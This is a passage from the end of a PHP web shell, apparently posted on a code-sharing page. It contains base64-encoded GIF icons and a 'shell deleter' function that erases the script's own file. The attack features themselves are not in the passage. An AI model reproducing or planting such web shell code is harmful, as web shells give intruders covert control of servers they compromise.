  678. "0iLb2O80s8JcfVJJTaGYrZYPNby5Ov6WolPD+XDJqAgSQ4EUCGQQEJADs=",
  679. "binary"=>"R0lGODlhFAAWAMIAAP///8z//8zMzJmZmTMzMwAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" .
  680. "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" .
  681. "AAADaUi6vPEwEECrnSS+WQoQXSEAE6lxXgeopQmha+q1rhTfakHo/HaDnVFo6LMYKYPkoOADim4VJdOWkx2XvirUgq" .
  682. "VaVcbuxCn0hKe04znrIV/ROOvaG3+z63OYO6/uiwlKgYJJOxFDh4hTCQA7",
  683. "text"=>"R0lGODlhFAAWAOMAAP/////MM/8zM8z//5mZmZlmM2bM/zMzMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH+TlRoaX" .
  684. "MgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1i" .
  685. "ZXIgMTk5NQAh+QQBAAADACwAAAAAFAAWAAAEb/DISee4eBzAu99Hdm1eSYbZWXEkgI5sEBg0+2HnTBsccvhAmGtXAy" .
  686. "COSITwUGg2PYQoQalhOZ/QKLVV6gKmQm8XXDUmzx0yV5ze9s7JdpgtL3ME5jhHTS/xO3hwdWt0f317WwdSi4xRPxlw" .
  687. "kUgXEQA7",
  688. "compressed"=>"R0lGODlhFAAWAOcAAP//////zP//mf//Zv//M///AP/M///MzP/Mmf/MZv/MM//MAP+Z//+ZzP+Zmf+ZZv+ZM/+ZAP" .
  689. "9m//9mzP9mmf9mZv9mM/9mAP8z//8zzP8zmf8zZv8zM/8zAP8A//8AzP8Amf8AZv8AM/8AAMz//8z/zMz/mcz/Zsz/" .
  690. "M8z/AMzM/8zMzMzMmczMZszMM8zMAMyZ/8yZzMyZmcyZZsyZM8yZAMxm/8xmzMxmmcxmZsxmM8xmAMwz/8wzzMwzmc" .
  691. "wzZswzM8wzAMwA/8wAzMwAmcwAZswAM8wAAJn//5n/zJn/mZn/Zpn/M5n/AJnM/5nMzJnMmZnMZpnMM5nMAJmZ/5mZ" .
  692. "zJmZmZmZZpmZM5mZAJlm/5lmzJlmmZlmZplmM5lmAJkz/5kzzJkzmZkzZpkzM5kzAJkA/5kAzJkAmZkAZpkAM5kAAG" .
  693. "b//2b/zGb/mWb/Zmb/M2b/AGbM/2bMzGbMmWbMZmbMM2bMAGaZ/2aZzGaZmWaZZmaZM2aZAGZm/2ZmzGZmmWZmZmZm" .
  694. "M2ZmAGYz/2YzzGYzmWYzZmYzM2YzAGYA/2YAzGYAmWYAZmYAM2YAADP//zP/zDP/mTP/ZjP/MzP/ADPM/zPMzDPMmT" .
  695. "PMZjPMMzPMADOZ/zOZzDOZmTOZZjOZMzOZADNm/zNmzDNmmTNmZjNmMzNmADMz/zMzzDMzmTMzZjMzMzMzADMA/zMA" .
  696. "zDMAmTMAZjMAMzMAAAD//wD/zAD/mQD/ZgD/MwD/AADM/wDMzADMmQDMZgDMMwDMAACZ/wCZzACZmQCZZgCZMwCZAA" .
  697. "Bm/wBmzABmmQBmZgBmMwBmAAAz/wAzzAAzmQAzZgAzMwAzAAAA/wAAzAAAmQAAZgAAM+4AAN0AALsAAKoAAIgAAHcA" .
  698. "AFUAAEQAACIAABEAAADuAADdAAC7AACqAACIAAB3AABVAABEAAAiAAARAAAA7gAA3QAAuwAAqgAAiAAAdwAAVQAARA" .
  699. "AAIgAAEe7u7t3d3bu7u6qqqoiIiHd3d1VVVURERCIiIhEREQAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMg" .
  700. "ZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAAkACwAAAAAFA" .
  701. "AWAAAImQBJCCTBqmDBgQgTDmQFAABDVgojEmzI0KHEhBUrWrwoMGNDihwnAvjHiqRJjhX/qVz5D+VHAFZiWmmZ8BGH" .
  702. "ji9hxqTJ4ZFAmzc1vpxJgkPPn0Y5CP04M6lPEkCN5mxoJelRqFY5TM36NGrPqV67Op0KM6rYnkup/gMq1mdamC1tdn" .
  703. "36lijUpwjr0pSoFyUrmTJLhiTBkqXCgAA7",
  704. "sound"=>"R0lGODlhFAAWAMIAAP////8zM8z//8zMzJmZmWYAADMzMwAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" .
  705. "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAACACwAAAAAFAAW" .
  706. "AAADayi63P4wNsNCkOocYVWPB7FxFwmFwGh+DZpynndpNAHcW9cVQUj8tttrd+G5hMINT7A0BpE4ZnF6hCqn0iryKs" .
  707. "0SDN9v0tSc0Q4DQ1SHFRjeBrQ6FzNN5Co2JD4YfUp7GnY***QLhBiJigsJADs=",
  708. "script"=>"R0lGODlhFAAWAMIAAP///8z//5mZmTMzMwAAAAAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" .
  709. "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" .
  710. "AAADZTi6vPEwDECrnSO+aTvPEddVIrhVBJCSF8QRMIwOBE2fVLrmcYz3O4pgKCDgVMgR0SgZOYVM0dNS/AF7gGy1me" .
  711. "16v9vXNdYNf89es2os00bRcDW7DVDDwe87fjMg+v9DNxBzYw8JADs=");
  712. header('Content-type: image/gif');
  713. echo base64_decode($images[$img]);
  714. die();
  715. }
  717. function kill(){ // Shell deleter function
  718. style();
  719. echo("<form method='post'>");
  720. echo("Type 'confirm' to kill the shell:<br>\n<input type='text' name='ver' action='?act=kill'>");
  721. echo("<input type='submit' value='Delete'>");
  722. echo("</form>");
  723. if($_POST['ver'] == "confirm"){
  724. $self = basename($_SERVER['PHP_SELF']);
  725. if(unlink($self)){echo("Deleted");}
  726. else{echo("Failed");}
  727. }
  728. }
  729. die();
  730. ?>
comments powered by Disqus